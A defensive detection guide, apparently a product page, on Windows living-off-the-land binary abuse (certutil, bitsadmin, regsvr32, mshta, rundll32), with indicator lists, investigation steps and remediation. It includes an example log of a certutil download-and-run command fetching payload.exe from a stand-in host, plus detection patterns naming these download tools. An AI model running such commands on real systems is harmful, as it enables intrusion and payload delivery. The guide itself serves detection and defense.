Living-Off-the-Land Binary Abuse (LOLBins)
Living-off-the-land (LOLBin) attacks abuse legitimate Windows binaries — certutil, bitsadmin, regsvr32, mshta, and others — to download payloads, execute code, and evade detection. Because these binaries are signed by Microsoft and expected on every Windows system, traditional signature-based defenses often miss them entirely.
Severity
High
ATT&CK Tactic
Defense Evasion
Common attacker usage
Download payloads using certutil -urlcache or bitsadmin /transfer — both are signed Windows tools that proxy HTTP/S requests · Execute remote COM scriptlets via regsvr32 /s /i:http://... — bypasses AppLocker and older application whitelisting · Run HTML Applications (HTA) via mshta.exe to execute VBScript or JScript from a URL · Use rundll32 to execute arbitrary DLLs or JavaScript — commonly used to load Cobalt Strike stagers · Run malicious scripts via wscript.exe or cscript.exe from user-writable directories
Investigate immediately if
- !certutil.exe or bitsadmin.exe appear with http:// or https:// in the command line
- !regsvr32.exe is called with a URL argument (scrobj.dll or direct /i:http://...)
- !mshta.exe launches with a URL or javascript: / vbscript: argument
- !rundll32.exe is called with javascript: or an unusual DLL path
- !wscript.exe or cscript.exe executes a .vbs or .js from AppData, Temp, or Downloads
MITRE ATT&CK
T1218 · System Binary Proxy Execution
Defense Evasion
Security Relevance
LOLBin abuse is one of the most effective defense-evasion techniques in the modern threat landscape because it leaves no foreign executable on disk — just legitimate Windows binaries doing unexpected things. APT groups, ransomware operators, and commodity malware routinely use these techniques to bypass endpoint detection, application whitelisting, and perimeter controls. Detection requires command-line logging (Event ID 4688 with ProcessCreationIncludeCmdLine=1) — without it, these attacks are effectively invisible.
Indicators of Malicious Use
- ⚑certutil.exe with -decode, -urlcache, -encode, or any http:// argument
- ⚑bitsadmin.exe with /transfer, /create, /addfile, or /SetNotifyCmdLine
- ⚑regsvr32.exe with /s /i:http (Squiblydoo technique) or scrobj.dll in arguments
- ⚑mshta.exe with a URL, javascript:, or vbscript: argument
- ⚑rundll32.exe calling javascript:, or loading DLLs from user-writable paths
- ⚑wscript.exe or cscript.exe running scripts from AppData, Temp, Downloads, or Public
- ⚑odbcconf.exe with /a {REGSVR ...} — proxy DLL registration
- ⚑Any of the above spawned by Office applications, web browsers, or email clients
Example Log Entry
Log Name: Security Event ID: 4688 Level: Information A new process has been created. Creator Subject: Account Name: CORP\jsmith Account Domain: CORP Process Information: New Process ID: 0x1d4c New Process Name: C:\Windows\System32\certutil.exe Creator Process: C:\Windows\System32\cmd.exe Process Command Line: certutil.exe -urlcache -split -f http://192.168.45.10/payload.exe C:\Users\Public\svc.exe [Followed shortly by:] Event ID: 4688 New Process Name: C:\Users\Public\svc.exe Creator Process: C:\Windows\System32\cmd.exe
Investigation Steps
- 1.Verify command-line logging is enabled — Event 4688 only includes the command line if 'Process Creation' auditing is configured with ProcessCreationIncludeCmdLine=1 in Group Policy. Without this, detection is impossible.
- 2.Extract the full command line from Event 4688 and look for URLs, encoded payloads (base64 strings), or unusual file paths in arguments.
- 3.Identify the parent process — LOLBin abuse launched from Office, browsers, or email clients strongly indicates a phishing or drive-by initial access.
- 4.Check for dropped files — certutil and bitsadmin are commonly used to download payloads. Look for new executables in user-writable directories (AppData, Temp, Downloads, Public) created at the same timestamp.
- 5.Look for the subsequent execution — what did the downloaded or decoded file do? Check Event 4688 for new processes started by the LOLBin's parent or by the dropped payload.
- 6.Search for network connections at the same timestamp — bitsadmin and certutil make outbound HTTP/S requests. Proxy or firewall logs will show the destination IP and URL.
- 7.Check BITS jobs: Get-BitsTransfer -AllUsers — malicious BITS jobs may persist even after the initial command completes.
Check your logs for living-off-the-land binary abuse (lolbins) — upload an EVTX file for instant detection, no account required.
Common False Positives
- ◎IT administrators using certutil for certificate management — certutil's primary legitimate purpose is certificate operations. Legitimate use will target .cer, .crt, or .pfx files, not executables.
- ◎Software deployment tools using bitsadmin or BITS for downloads — WSUS, SCCM, and some patch management tools use BITS. Verify the source URL and destination path.
- ◎Security tools and EDR agents — some endpoint security products use signed Windows binaries for internal operations. Review the parent process and destination.
- ◎Developers using mshta for testing HTA applications — rare but possible in development environments. Check the HTA source and whether it contacts external URLs.
Remediation
- ✓Enable command-line auditing for Event 4688: Group Policy → Computer Configuration → Administrative Templates → System → Audit Process Creation → Include command line in process creation events.
- ✓Deploy Windows Defender Application Control (WDAC) or AppLocker rules that block certutil, bitsadmin, mshta, and regsvr32 from making network connections or running from user-writable paths.
- ✓Block outbound HTTP/S from certutil.exe, bitsadmin.exe, and mshta.exe at the perimeter firewall or web proxy — these binaries have no legitimate need to initiate external connections in most environments.
- ✓Enable Attack Surface Reduction (ASR) rules in Microsoft Defender: 'Block execution of potentially obfuscated scripts' and 'Block Office applications from creating executable content'.
- ✓Restrict script execution policy via Group Policy — prevent wscript.exe and cscript.exe from running .vbs and .js files from user-writable locations.
- ✓Deploy Sysmon with a rule set (e.g. SwiftOnSecurity config) — provides much richer process creation and network connection logging than native Windows auditing.
Related Event IDs
Related Detection Guides
Detect Living-Off-the-Land Binary Abuse (LOLBins) in your logs
Upload an .evtx file from servers, domain controllers, or endpoints — EventPeeker automatically detects living-off-the-land binary abuse (lolbins) patterns, maps findings to MITRE ATT&CK, and generates an AI triage report.
Scan for Living-Off-the-Land Binary Abuse (LOLBins) →